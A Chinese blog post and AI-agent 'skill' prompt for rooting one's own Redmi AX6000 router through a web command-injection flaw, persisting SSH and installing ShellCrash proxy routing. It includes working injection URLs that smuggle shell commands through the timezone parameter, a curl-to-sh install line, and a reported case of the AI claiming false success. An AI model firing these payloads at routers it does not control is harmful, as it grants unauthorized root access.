回到文章

生活2026.07.05

红米 AX6000 解锁 SSH + 装 ShellCrash:让路由器自动分流代理(AI 全程代劳)

3047 字 · 11 分钟读完

目录

不刷 OpenWrt,解锁红米 AX6000 的 SSH、装上 ShellCrash,整台路由器就能按规则自动分流代理流量,全屋设备连上 Wi-Fi 就生效,不用每台单独配置。

背景

家里主路由是一台红米 AX6000(MT7986A 四核 2.0GHz、512MB 内存),固件版本 1.0.67。硬件够用,但出厂系统锁得很死,连 shell 都进不去。

我想要的效果很简单:手机、电脑、电视,还有装不了客户端的智能家居,连上家里 Wi-Fi 就自动按规则分流——路由器根据域名 / IP 归属(GEOSITE / GEOIP 规则)判断每个请求该走哪条线路,设备这边什么都不用管。

家里的组网之前也折腾过一次,见家庭组网踩坑:用两台路由器实现 iPhone 无缝漫游。

方案对比

在路由器上做自动分流,常见有三种做法:

方案优点缺点
每台设备单独装客户端不用动路由器电视、智能家居装不了,每台都要配
解锁 SSH + ShellCrash不刷机、风险低,带 Web 面板定制空间有限
刷 OpenWrt + OpenClash防火墙、DNS、分流规则全能自己捏换系统有变砖风险,部分刷法还要动 U-Boot

我只要全屋自动分流这个结果,不需要深度定制,选了解锁 SSH + ShellCrash。

用到的教程和工具

这次用到的东西都是开源项目或官方页面:

这次不一样的地方:一行命令都没敲

以前这种活我都是自己一条一条命令敲。这次我一行命令都没敲,全程交给 Claude Code:它直连我日常用的 Chrome(带路由器后台登录态),也能在 Mac 上跑命令——登后台拿 stok、发请求开 telnet、进去固化 SSH、装 ShellCrash、配节点,一条链路它自己走完,我在旁边确认。

一开始我就是把上面那份教程直接丢给它,效果一般。因为不熟悉,前后反复了两三次,加起来大概两个小时。卡住的地方都在教程没讲清楚的细节上。

坑一:SSH 重启后又没了。 教程给的固化做法是对的:脚本放持久的 /data,用 firewall include 让它每次开机跑。但教程没讲为什么必须这样:AX6000 的 /etc 是 ramfs,每次重启从固件重置;dropbear 又只在 channel=debug 才启动,出厂是 release,这个开关也在 /etc。AI 不知道这层约束,自作主张改用 /etc/rc.local 做开机自启,结果重启后 /etc 被冲掉、SSH 起不来,它还说"搞定了"。

坑二:ShellCrash 部分的教程过时了。 教程里还叫旧名 ShellClash,截图是 2023 年的:那时用的是 Clash 原版内核(后来删库停更了)、旧版面板。现在内核选项是 mihomo / sing-box,面板有 zashboard 这些,菜单结构也变了,照着旧图点对不上号。

命令都能交给 AI 敲之后,卡点其实变了:不在谁动手,而在喂给它的东西够不够全、够不够新。我把这次踩的坑、验过的命令,还有跟最新版对齐的装法整理成了文末的 skill。固件和菜单以后还会变,照着做的时候仍然要现场核对。

最终效果

装好之后,全屋设备连上 Wi-Fi 就自动分流,手机、电脑、电视都不用单独配置。到现在用了几个月,一直很稳定,重启路由器后 SSH 和代理服务都会自己起来,不用再登上去手动操作。

几点体感

  • 这种活本来就很适合 AI 来做。 步骤明确,能在浏览器和终端里一步步做完,每步都能验证对错。最近有人用 REA 这类工具让 AI 去逆向软件,还有人借助 AI 研究 Switch 2,那些是在探索还没人做过的领域;我这次只是让 AI 照着现成教程把活干完,规模小得多,但确实解决了家里的实际问题。
  • 它不靠猜。 写这篇时我让它核对文末的 skill,它没有凭印象改,而是直接 SSH 上路由器查,发现 SSH 自启早就被 ShellCrash 接管了,原来那条配置已经不在。
  • 它够不着现实世界。 插网线、顶 reset 这些只能我来,降级、刷机这类不可逆的操作也会停下来等我确认。我在里面的角色,相当于给 AI 配了一个在现实世界里帮它接线的人。

复制下面整段,丢给一个能直连浏览器(带路由器后台登录态)和本机终端的 AI 助手(Claude Code 这类),它就能全程替你走完解锁 + 固化 + 装 ShellCrash。

markdown
# Skill:给红米 AX6000 解锁并固化 SSH + 装 ShellCrash 自动分流代理

## 角色与目标
你是一个能直连浏览器(带路由器后台登录态)和本机终端的助手。目标:给红米
AX6000 解锁 SSH 并**真正固化**(重启后无需任何手动操作也能 ssh 进),随后装
ShellCrash 实现全屋自动分流代理。只解 SSH,不刷 U-Boot / OpenWrt(那是另一档风险)。

## 执行原则(默认自主完成,不用每步都请示)
- **常规情况下你自己走完全程,包括重启、验证,不需要人工逐步确认。**只有两种才停:
  1. 需要**降级固件**时(happy path 用不到;风险高、可能变砖)——停下说明并等人确认。
  2. 需要**物理操作**(插网线、救砖时顶 reset)——你做不了,明确告诉人来做。
- 需要人提供的唯一数据:**机场订阅地址**(装 ShellCrash 时要用)。开工前先问一次,拿到再动手。
- 重启是正常流程的一部分:你可以自己重启、自己等它回来再继续,不用每次请示。
- 不要把真实密码 / host key / 订阅地址写进任何会公开或提交的产物。
- **判定"成功"的唯一标准:重启后不做任何手动操作能复现(ssh 能进、代理服务自动拉起)。**
  不要看到"端口在 LISTEN"或"现在能连"就宣布成功——那可能只是你手动起的进程,一重启就没。
  固化 / 自启类任务必须用"重启后能否自动复现"来验收。

## 阶段 0:前置判断
1. 固件版本:这个 Web 漏洞只对旧稳定版有效,已知 1.0.48 / 1.0.60 / 1.0.67。
   版本太新要先去 https://www1.miwifi.com/miwifi_download.html 下旧版、后台
   手动降级——这是最容易变砖的一步,降级前务必先跟人确认。
2. 有线把电脑连到路由器 LAN 口(2/3/4 任意一个)。
3. 拿 stok:浏览器登录 192.168.31.1,地址栏里 stok=xxxx 后面那串就是 TOKEN。
   它会过期,失效就重新登录再取。

## 阶段 1:用漏洞开 telnet(浏览器按顺序访问,把 TOKEN 换成上一步拿到的)
魔数 %A5%5A 照抄,别改。

① 写 crash 分区:
http://192.168.31.1/cgi-bin/luci/;stok=TOKEN/api/misystem/set_sys_time?timezone=%20%27%20%3B%20zz%3D%24%28dd%20if%3D%2Fdev%2Fzero%20bs%3D1%20count%3D2%202%3E%2Fdev%2Fnull%29%20%3B%20printf%20%27%A5%5A%25c%25c%27%20%24zz%20%24zz%20%7C%20mtd%20write%20-%20crash%20%3B%20

② 写 bdata,开 telnet / ssh / uart:
http://192.168.31.1/cgi-bin/luci/;stok=TOKEN/api/misystem/set_sys_time?timezone=%20%27%20%3B%20bdata%20set%20telnet_en%3D1%20%3B%20bdata%20set%20ssh_en%3D1%20%3B%20bdata%20set%20uart_en%3D1%20%3B%20bdata%20commit%20%3B%20

③ 重启(重启前提醒人一声):
http://192.168.31.1/cgi-bin/luci/;stok=TOKEN/api/misystem/set_sys_time?timezone=%20%27%20%3b%20reboot%20%3b%20

## 阶段 2:telnet 进入 + 固化 SSH(社区教程最容易漏的地方)
开发模式下 telnet 免密直进 root:
    telnet 192.168.31.1

设 root 密码(printf 管道喂两遍,弱密码告警可忽略,看到 changed 即成功):
    printf '你的密码\n你的密码\n' | passwd root

⚠️ 只 `nvram set ssh_en=1 && commit` 是"假固化",重启后 SSH 起不来。两个根因:
  1. /etc 是 ramfs(mount 里能看到 none on /etc type ramfs),每次重启从固件
     重置,往 /etc 塞的东西(dropbear 配置 / host key)全丢。
  2. dropbear 被通道卡住:仅 channel=debug 才启动,出厂是 release。开关也在
     /etc,重启又被重置。

持久分区是 /data 和 /etc/config(ubifs)。正确固化 = 脚本放 /data + 注册
firewall include,让它每次开机跑,由脚本每次去修 channel、挂回 host key、拉起
dropbear。用 lemoeo/AX6S 的 auto_ssh.sh(跑之前先 cat 一遍确认脚本干净):
    mkdir -p /data/auto_ssh && cd /data/auto_ssh
    # 放入 auto_ssh.sh(内容见 https://github.com/lemoeo/AX6S)
    chmod +x auto_ssh.sh
    sh auto_ssh.sh install   # 修 channel + 生成/备份 host key + 注册 include + 起 dropbear

漏洞把时区改乱了,修回来:
    uci set system.@system[0].timezone='CST-8'
    uci set system.@system[0].webtimezone='CST-8'
    uci set system.@system[0].timezoneindex='2.84'
    uci commit

验证:
    pidof dropbear
    netstat -ltn | grep :22
    uci show firewall.auto_ssh
    ls /data/auto_ssh/          # 应有脚本 + host key 备份
**然后必须重启一次**:重启后不手动做任何操作能 ssh 进 = 真固化。做不到就是没固化好。

## 阶段 3:SSH 登录
    ssh root@192.168.31.1
若报 no matching host key type(新版 OpenSSH 弃用了 ssh-rsa),加参数:
    ssh root@192.168.31.1 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa
(也可以写进 ~/.ssh/config 一劳永逸。)

## 阶段 4:装 ShellCrash 自动分流代理(用最新版,别照旧教程的 2023 截图)
社区教程这部分最旧(还叫旧名 ShellClash、菜单全是 2023 年截图)。**一律以官方最新为准,
菜单按屏幕实际显示的选项走,别硬记编号——版本一变编号就错。**

1. 用官方最新一键脚本安装(dev 分支,中文菜单 install.sh):
       export url='https://raw.githubusercontent.com/juewuy/ShellCrash/dev' && sh -c "$(curl -kfsSl $url/install.sh)" && . /etc/profile &> /dev/null
   连不上 GitHub 就换镜像源(url 换成 https://gh.jwsc.eu.org/dev,脚本名不变)。
   装完源码在持久的 /data/ShellCrash,不会被重置。
2. 输入 crash 打开交互菜单。它是数字选择式菜单,**每一步先读屏幕真实列出的选项**,
   照下面的目标去选对应项(不同版本文案 / 编号会变,认字不认号):
   - 安装内核:选 mihomo(Clash.Meta);别选已停更的 Clash 原版。
   - 导入配置:填人提供的机场订阅地址,让它拉取节点。
   - 运行模式:选透明代理 / TProxy(让全屋设备自动分流,而不是只给本机做 PAC)。
   - Web 面板:装一个本地面板(zashboard / metacubexd 都行),记下访问地址
     (一般是 http://192.168.31.1:9999/ui/)。
   - 开机自启:在菜单里开启,确保重启后服务自动拉起。
   - SSH 自启会被 ShellCrash 接管:它在 /data 下放自己的开机脚本(注册为 firewall.ShellCrash),
     每次开机修 channel、挂回 host key、拉起 dropbear;之前 auto_ssh.sh 注册的 firewall.auto_ssh
     会被替换掉。重启后用 uci show firewall 确认留下的是 ShellCrash 那条、ssh 仍能直接登录。
3. 分流规则用配置自带的(GEOSITE / GEOIP:国内直连、海外走节点、广告拦截),
   这就是"按需自动分流"。要加自定义直连 / 代理域名,改订阅配置或规则文件即可。
4. **重启验证**:重启后不做任何手动操作,确认代理服务自动起、面板能打开,再用一台设备
   实测访问海外站走节点、国内站直连。做不到就是没配好,回去查开机自启和运行模式。

## 阶段 5:救砖兜底(真弄坏了才用)
- reset 针顶住 → 插电,continue 顶 8~15 秒,黄灯闪烁松手 → 进 recovery。
- 网线接电脑 LAN 口 → 小米路由器修复工具 → 选官方固件 → 选对网卡 → 自动刷。
- 注意:官方工具只刷系统固件,**不恢复 bdata / factory**。所以只解 SSH 风险很低,
  但将来要刷 U-Boot / OpenWrt 前,一定先 nanddump 备份 bdata + factory。